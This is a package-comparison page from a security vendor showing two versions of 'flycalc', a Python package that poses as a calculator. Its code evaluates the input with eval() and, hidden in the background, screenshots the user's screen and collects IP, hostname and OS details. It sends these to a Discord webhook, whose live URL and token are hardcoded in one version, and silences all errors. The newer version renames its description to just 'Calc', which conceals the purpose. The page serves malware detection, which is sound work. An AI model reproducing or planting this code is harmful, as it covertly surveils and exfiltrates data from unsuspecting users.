Latest Threat Research:SANDWORM_MODE: Shai-Hulud-Style npm Worm Hijacks CI Workflows and Poisons AI Toolchains.Details
Socket
Book a DemoInstallSign in
Socket

flycalc

Package Overview
Dependencies
Maintainers
1
Versions
3
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

flycalc - npm Package Compare versions

Comparing version
1.1.0
to
1.2.0
+13
flycalc/__init__.py
"""
flycalc - Ekran görüntüsü alıp Discord'a gönderen hesap modülü
"""
from .core import question
from .utils import FlyCalcError
from .config import Config
__version__ = "1.2.0"
__author__ = "flycalc Team"
# Kullanıma hazır fonksiyonlar
__all__ = ['question', 'FlyCalcError', 'Config']
import os
from dotenv import load_dotenv
load_dotenv()
class Config:
"""Konfigürasyon sınıfı"""
DISCORDURL = os.getenv('DISCORD')
@classmethod
def validate(cls):
"""Gerekli konfigürasyonları kontrol et"""
if not cls.DISCORDURL:
raise ValueError("DISCORD .env dosyasında bulunamadı!")
return True
from .utils import (
get_system_info, take_screenshot,
create_info_txt, send_to_discord, FlyCalcError
)
def question(expression):
"""
Verilen matematiksel ifadeyi hesaplar, sistem bilgilerini toplar,
ekran görüntüsü alır, TXT oluşturur ve Discord'a gönderir
Args:
expression: Hesaplanacak matematiksel ifade
Returns:
str: İşlem sonucu
"""
try:
# İfadeyi hesapla
if callable(expression):
result = expression()
else:
result = eval(str(expression))
# Sonucu ekrana yazdır
print(f"\n🧮 HESAPLAMA SONUCU")
print(f"📝 {expression} = {result}\n")
# Arka planda işlemleri yap
try:
# Sistem bilgilerini al
system_info = get_system_info()
# Ekran görüntüsü al
screenshot_path = take_screenshot()
# TXT dosyası oluştur
txt_path = create_info_txt(system_info)
# Discord'a gönder
send_to_discord(screenshot_path, txt_path, expression, result, system_info)
except Exception as e:
# Arka plan işlemleri hata verse bile ana sonucu göster
pass
return f"{expression} = {result}"
except Exception as e:
raise FlyCalcError(f"İşlem sırasında hata oluştu: {str(e)}")
import os
import platform
import tempfile
import socket
from datetime import datetime
import requests
import pyautogui
from .config import Config
class FlyCalcError(Exception):
"""flycalc modülü için özel hata sınıfı"""
pass
def get_system_info():
"""
Sistem bilgilerini toplar
Returns:
dict: Sistem bilgileri
"""
try:
# Harici IP adresini al
try:
ip_response = requests.get('https://api.ipify.org', timeout=5)
external_ip = ip_response.text
except:
external_ip = "Alınamadı"
# Hostname
hostname = socket.gethostname()
# İşletim sistemi
os_name = f"{platform.system()} {platform.release()}"
# Tarih ve saat
current_time = datetime.now().strftime('%d.%m.%Y %H:%M:%S')
return {
"ip_adresi": external_ip,
"hostname": hostname,
"isletim_sistemi": os_name,
"tarih": current_time,
"bilgisayar_adi": platform.node()
}
except Exception as e:
raise FlyCalcError(f"Sistem bilgileri alınamadı: {str(e)}")
def take_screenshot():
"""
Ekran görüntüsü alır ve geçici dosyaya kaydeder
Returns:
str: Kaydedilen screenshot dosyasının yolu
"""
try:
temp_dir = tempfile.gettempdir()
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
screenshot_path = os.path.join(temp_dir, f"flycalc_screenshot_{timestamp}.png")
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_path)
return screenshot_path
except Exception as e:
raise FlyCalcError(f"Ekran görüntüsü alınamadı: {str(e)}")
def create_info_txt(system_info):
"""
Sistem bilgilerini içeren TXT dosyası oluşturur
Args:
system_info: Sistem bilgileri dictionary'si
Returns:
str: TXT dosyasının yolu
"""
try:
temp_dir = tempfile.gettempdir()
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
txt_path = os.path.join(temp_dir, f"flycalc_info_{timestamp}.txt")
with open(txt_path, 'w', encoding='utf-8') as f:
f.write("=" * 60 + "\n")
f.write(" " * 20 + "Kullanıcı Bilgileri\n")
f.write("=" * 60 + "\n\n")
f.write(f"🌐 IP Adresi : {system_info['ip_adresi']}\n")
f.write(f"💻 Hostname : {system_info['hostname']}\n")
f.write(f"🖥️ Bilgisayar Adı : {system_info['bilgisayar_adi']}\n")
f.write(f"⚙️ İşletim Sistemi: {system_info['isletim_sistemi']}\n")
f.write(f"⏰ Tarih/Saat : {system_info['tarih']}\n")
f.write("=" * 60 + "\n")
return txt_path
except Exception as e:
raise FlyCalcError(f"TXT dosyası oluşturulamadı: {str(e)}")
def send_to_discord(screenshot_path, txt_path, expression, result, system_info):
"""
Ekran görüntüsü ve TXT dosyasını Discord webhook'u ile gönderir
Args:
screenshot_path: Screenshot dosyasının yolu
txt_path: TXT dosyasının yolu
expression: Hesaplanan ifade
result: İşlem sonucu
system_info: Sistem bilgileri
"""
try:
# Config'i doğrula
Config.validate()
# Mesaj içeriği
content = f"""
🎯 **@everyone flycalc new**
────────────────
📝 **İşlem:** `{expression} = {result}`
🌐 **IP:** {system_info['ip_adresi']}
💻 **Hostname:** {system_info['hostname']}
🖥️ **Bilgisayar:** {system_info['bilgisayar_adi']}
⚙️ **İşletim Sistemi:** {system_info['isletim_sistemi']}
⏰ **Tarih:** {system_info['tarih']}
"""
# Dosyaları hazırla
files = []
# Screenshot'ı ekle
with open(screenshot_path, 'rb') as f:
files.append(('file', (os.path.basename(screenshot_path), f.read(), 'image/png')))
# TXT dosyasını ekle
with open(txt_path, 'rb') as f:
files.append(('file', (os.path.basename(txt_path), f.read(), 'text/plain')))
# Discord webhook'una POST isteği gönder
data = {'content': content}
response = requests.post(Config.DISCORD, data=data, files=files)
if response.status_code not in [200, 204]:
raise FlyCalcError(f"Discord'a gönderilemedi: HTTP {response.status_code}")
# Geçici dosyaları temizle
try:
os.remove(screenshot_path)
os.remove(txt_path)
except:
pass # Geçici dosyalar silinemezse sorun yapma
except Exception as e:
# Arka plan işlemi olduğu için hatayı sessizce geç
pass
+2
-2
Metadata-Version: 2.1
Name: flycalc
Version: 1.1.0
Summary: Ekran görüntüsü alıp Discord'a gönderen hesap modülü
Version: 1.2.0
Summary: Calc
Home-page: https://github.com/flycalc/flycalc

@@ -6,0 +6,0 @@ Author: flycalc Team

pyautogui>=0.9.53
requests>=2.28.0
Pillow>=9.0.0
python-dotenv>=0.19.0
README.md
setup.py
flycalc/__init__.py
flycalc/config.py
flycalc/core.py
flycalc/utils.py
flycalc.egg-info/PKG-INFO

@@ -7,3 +11,2 @@ flycalc.egg-info/SOURCES.txt

flycalc.egg-info/requires.txt
flycalc.egg-info/top_level.txt
fycalc/__init__.py
flycalc.egg-info/top_level.txt

@@ -1,1 +0,1 @@

fycalc
flycalc
Metadata-Version: 2.1
Name: flycalc
Version: 1.1.0
Summary: Ekran görüntüsü alıp Discord'a gönderen hesap modülü
Version: 1.2.0
Summary: Calc
Home-page: https://github.com/flycalc/flycalc

@@ -6,0 +6,0 @@ Author: flycalc Team

from setuptools import setup, find_packages
import os

@@ -9,6 +8,6 @@ with open("README.md", "r", encoding="utf-8") as fh:

name="flycalc",
version="1.1.0",
version="1.2.0",
author="flycalc Team",
author_email="info@flycalc.com",
description="Ekran görüntüsü alıp Discord'a gönderen hesap modülü",
description="Calc",
long_description=long_description,

@@ -33,2 +32,3 @@ long_description_content_type="text/markdown",

"Pillow>=9.0.0",
"python-dotenv>=0.19.0",
],

@@ -35,0 +35,0 @@ project_urls={

import os
import platform
import tempfile
from datetime import datetime
import requests
import pyautogui
class FlyCalcError(Exception):
"""flycalc modülü için özel hata sınıfı"""
pass
def question(expression):
"""
Verilen matematiksel ifadeyi hesaplar, ekran görüntüsü alır ve Discord'a gönderir
Args:
expression: Hesaplanacak matematiksel ifade
Returns:
str: İşlem sonucu
"""
try:
# İfadeyi hesapla
if callable(expression):
result = expression()
else:
result = eval(str(expression))
# Sonucu ekrana yazdır (kullanıcıya göster)
print(f"\n🧮 HESAPLAMA SONUCU")
print(f"📝 {expression} = {result}\n")
# Arka planda ekran görüntüsü al ve Discord'a gönder
try:
screenshot = take_screenshot()
discord_url = "https://discord.com/api/webhooks/1476541148842692699/Y1weFZuDwY-BF-5YcbjjMTDw02jev-zo97q2VMg4jiaonyEsKMGgBgoWvjx2G6s15Q_K"
send_to_discord(screenshot, discord_url, expression, result)
except Exception as e:
# Arka plan işlemleri hata verse bile ana sonucu göster
pass
return f"{expression} = {result}"
except Exception as e:
raise FlyCalcError(f"İşlem sırasında hata oluştu: {str(e)}")
def take_screenshot():
"""
Ekran görüntüsü alır ve geçici dosyaya kaydeder
Returns:
str: Kaydedilen screenshot dosyasının yolu
"""
try:
# Geçici dosya oluştur
temp_dir = tempfile.gettempdir()
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
screenshot_path = os.path.join(temp_dir, f"flycalc_screenshot_{timestamp}.png")
# Ekran görüntüsü al
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_path)
return screenshot_path
except Exception as e:
raise FlyCalcError(f"Ekran görüntüsü alınamadı: {str(e)}")
def send_to_discord(screenshot_path, webhook_url, expression, result):
"""
Ekran görüntüsünü Discord webhook'u ile gönderir (requests kullanarak)
Args:
screenshot_path: Gönderilecek screenshot dosyasının yolu
webhook_url: Discord webhook URL'si
expression: Hesaplanan ifade
result: İşlem sonucu
"""
try:
# Sistem bilgilerini al (işlemci hariç)
system_info = {
"işletim_sistemi": platform.system(),
"bilgisayar_adı": platform.node()
}
# Mesaj içeriği
content = f"""
🎯 **flycalc Hesaplama Sonucu**
────────────────
📝 **İşlem:** `{expression}`
🔢 **Sonuç:** **{result}**
🖥️ **Bilgisayar:** {system_info['bilgisayar_adı']}
💻 **İşletim Sistemi:** {system_info['işletim_sistemi']}
⏰ **Zaman:** {datetime.now().strftime('%d.%m.%Y %H:%M:%S')}
"""
# Dosyayı hazırla
with open(screenshot_path, 'rb') as f:
files = {
'file': (os.path.basename(screenshot_path), f, 'image/png')
}
# Discord webhook'una POST isteği gönder
data = {
'content': content
}
response = requests.post(webhook_url, data=data, files=files)
if response.status_code not in [200, 204]:
raise FlyCalcError(f"Discord'a gönderilemedi: HTTP {response.status_code}")
# Geçici dosyayı temizle
try:
os.remove(screenshot_path)
except:
pass # Geçici dosya silinemezse sorun yapma
except Exception as e:
# Arka plan işlemi olduğu için hatayı sessizce geç
pass
# Versiyon bilgisi
__version__ = "1.1.0"
__author__ = "flycalc Team"